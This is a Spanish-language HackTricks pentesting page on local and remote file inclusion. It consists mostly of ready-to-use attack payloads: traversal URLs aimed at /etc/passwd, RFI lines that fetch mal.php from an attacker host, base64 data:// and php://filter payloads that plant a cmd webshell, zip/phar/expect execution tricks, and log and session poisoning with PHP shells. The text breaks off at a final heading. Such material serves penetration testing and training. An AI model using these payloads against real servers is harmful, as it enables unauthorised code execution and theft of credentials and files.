hacktricks/pentesting-web/file-inclusion/README.md

701 lines
40 KiB
Markdown

# Inclusión de Archivos/Recorrido de Rutas
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking.
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## Inclusión de Archivos
**Inclusión de Archivos Remota (RFI):** El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow\_url\_include**).\
**Inclusión de Archivos Local (LFI):** El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
Funciones **PHP vulnerables**: require, require\_once, include, include\_once
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Archivos LFI2RCE Interesantes - Ciegos
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Combinando varias listas de LFI de \*nix y añadiendo más rutas he creado esta:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Intenta también cambiar `/` por `\`\
Intenta también añadir `../../../../../`
Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Fusión de diferentes listas de palabras:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Intenta también cambiar `/` por `\`\
Intenta también eliminar `C:/` y añadir `../../../../../`
Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Consulta la lista de LFI de linux.
## LFI básico y bypasses
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (página=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### secuencias de recorrido eliminadas de forma no recursiva
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Eludir la adición de más caracteres al final de la cadena proporcionada (eludir de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Esto está **resuelto desde PHP 5.4**
### **Codificación**
Podrías usar codificaciones no estándar como la doble codificación URL (y otras):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Desde una carpeta existente
Quizás el back-end esté verificando la ruta de la carpeta:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Explorando Directorios del Sistema de Archivos en un Servidor
El sistema de archivos de un servidor puede ser explorado recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:
1. **Determinar la Profundidad del Directorio:** Asegúrate de la profundidad de tu directorio actual al obtener con éxito el archivo `/etc/passwd` (aplicable si el servidor es basado en Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probar carpetas:** Agrega el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego navega de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe:
* **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada.
* **Contenido de `/etc/passwd`:** Se confirma la presencia de la carpeta `private`.
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Local (LFI).
Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Técnica de Truncamiento de Ruta**
El truncamiento de ruta es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, aún apunte al archivo deseado.
En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, y `/etc/passwd/` son tratados como la misma ruta.
* Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (haciéndolo `passwd/`) no cambia el archivo objetivo.
* De manera similar, si se añade `.php` a una ruta de archivo (como `shellcode.php`), agregar un `/.` al final no alterará el archivo que se está accediendo.
Los ejemplos proporcionados demuestran cómo utilizar el truncamiento de ruta para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
* **Usando segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
* **Determinando el número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
* **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.
**Esta vulnerabilidad fue corregida en PHP 5.3.**
### **Trucos para eludir filtros**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Inclusión Remota de Archivos
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Desactivado.** Debe estar **Activado** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Si por alguna razón **`allow_url_include`** está **Activado**, pero PHP está **filtrando** el acceso a páginas web externas, [según esta publicación](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar, por ejemplo, el protocolo de datos con base64 para decodificar un código PHP en b64 y obtener RCE:
{% code overflow="wrap" %}
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
{% endcode %}
{% hint style="info" %}
En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
{% endhint %}
Otro ejemplo **sin usar el protocolo `php://`** sería:
{% code overflow="wrap" %}
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
{% endcode %}
## Elemento raíz de Python
En python en un código como este:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Si el usuario pasa una **ruta absoluta** a **`file_name`**, **la ruta anterior se elimina**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Es el comportamiento previsto según [la documentación](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.
## Java List Directories
Parece que si tienes un Path Traversal en Java y **pides un directorio** en lugar de un archivo, se **devuelve un listado del directorio**. Esto no sucederá en otros lenguajes (hasta donde sé).
## Top 25 parameters
Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [enlace](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI usando envolturas y protocolos PHP
### php://filter
Los filtros de PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
* [Filtros de cadena](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
* Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
* [Filtros de conversión](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : Transforma a una codificación diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** soportadas, ejecuta en la consola: `iconv -l`
{% hint style="warning" %}
Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo que podría ser útil para escribir texto arbitrario o hacer que una función como incluir procese texto arbitrario. Para más información, consulta [**LFI2RCE a través de filtros php**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Filtros de compresión](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: Comprime el contenido (útil si se exfiltra mucha información)
* `zlib.inflate`: Descomprime los datos
* [Filtros de cifrado](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*` : Obsoleto
* `mdecrypt.*` : Obsoleto
* Otros filtros
* Ejecutando en php `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**:
* `consumed`
* `dechunk`: revierte la codificación HTTP en fragmentos
* `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
{% hint style="warning" %}
La parte "php://filter" no distingue entre mayúsculas y minúsculas
{% endhint %}
### Usando filtros php como oráculo para leer archivos arbitrarios
[**En esta publicación**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una **exfiltración booleana del archivo (carácter por carácter) usando filtros php** como oráculo. Esto se debe a que los filtros php pueden ser utilizados para hacer que un texto sea lo suficientemente grande como para que php lance una excepción.
En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí hay un resumen rápido:
* Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
* Esto se usará para generar un **texto tan grande cuando la letra inicial se adivina correctamente** que php desencadenará un **error**.
* El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
* Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
* El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
* Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hex).
* Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
* El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria ordenados como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
* Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
### php://fd
Este envoltorio permite acceder a descriptores de archivos que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Puedes usar también **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
### zip:// y rar://
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\
Para poder abusar del protocolo rar, **debe ser activado específicamente**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Tenga en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
### expect://
Expect debe estar activado. Puede ejecutar código usando esto:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Especifica tu payload en los parámetros POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web aprovecha funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
```php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Para compilar el archivo `.phar`, se debe ejecutar el siguiente comando:
```bash
php --define phar.readonly=0 create_path.php
```
Al ejecutar, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Inclusión de Archivos Locales (LFI).
En los casos en que el LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar la explotación de una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo `phar`.
Para una comprensión detallada de la explotación de vulnerabilidades de deserialización en el contexto de archivos `.phar`, consulte el documento vinculado a continuación:
[Guía de Explotación de Deserialización de Phar](phar-deserialization.md)
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
{% endcontent-ref %}
### CVE-2024-2961
Fue posible abusar de **cualquier archivo arbitrario leído desde PHP que soporte filtros php** para obtener un RCE. La descripción detallada se puede [**encontrar en esta publicación**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Resumen muy rápido: se abusó de un **desbordamiento de 3 bytes** en el heap de PHP para **alterar la cadena de bloques libres** de un tamaño específico con el fin de poder **escribir cualquier cosa en cualquier dirección**, por lo que se agregó un gancho para llamar a **`system`**.\
Fue posible asignar bloques de tamaños específicos abusando de más filtros php.
### Más protocolos
Ver más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accediendo al sistema de archivos local
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, así que no es realmente útil aquí)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (no útil para leer archivos arbitrarios)
## LFI a través de 'assert' de PHP
Los riesgos de Inclusión de Archivos Locales (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de recorrido de directorios como ".." se está verificando pero no se está saneando adecuadamente.
Por ejemplo, el código PHP podría estar diseñado para prevenir el recorrido de directorios de la siguiente manera:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Mientras que esto tiene como objetivo detener la traversión, inadvertidamente crea un vector para la inyección de código. Para explotar esto para leer el contenido de archivos, un atacante podría usar:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
De manera similar, para ejecutar comandos del sistema arbitrarios, se podría usar:
```plaintext
' and die(system("id")) or '
```
Es importante **codificar en URL estas cargas útiles**.
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## PHP Blind Path Traversal
{% hint style="warning" %}
Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
{% endhint %}
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de errores**.
En resumen, la técnica utiliza la **codificación "UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**.
Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
¡Para los detalles técnicos consulta la publicación mencionada!
## LFI2RCE
### Inclusión de Archivos Remotos
Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
### A través del archivo de registro de Apache/Nginx
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
{% hint style="warning" %}
Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se modificarán para la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
{% endhint %}
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría insertarse dentro de este encabezado.\
Otras posibles rutas de registro:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Vía Email
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu carga útil PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluirlo en el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
### Vía /proc/\*/fd/\*
1. Sube muchas shells (por ejemplo: 100)
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (se puede forzar por fuerza bruta) y $FD el descriptor de archivo (también se puede forzar por fuerza bruta)
### Vía /proc/self/environ
Como un archivo de registro, envía la carga útil en el User-Agent, se reflejará dentro del archivo /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
Si puedes subir un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf
### A través de la carga de archivos Zip
Sube un archivo ZIP que contenga un shell PHP comprimido y accede:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### A través de sesiones PHP
Verifica si el sitio web utiliza sesiones PHP (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
En PHP, estas sesiones se almacenan en archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Establezca la cookie en `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Usa el LFI para incluir el archivo de sesión PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status & /etc/passwd) y trata de acceder a **\<HOME>/.ssh/id\_rsa**
### **Via** **vsftpd** _**logs**_
Los registros del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario donde existe una vulnerabilidad de Inclusión de Archivos Local (LFI), y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
1. Inyectar una carga útil de PHP en el campo de nombre de usuario durante el proceso de inicio de sesión.
2. Después de la inyección, utilizar el LFI para recuperar los registros del servidor de _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora lo que no es base64. Puedes usar eso para eludir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de carga útil:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### A través de filtros php (no se necesita archivo)
Este [**escrito**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}
### A través de fallo de segmentación
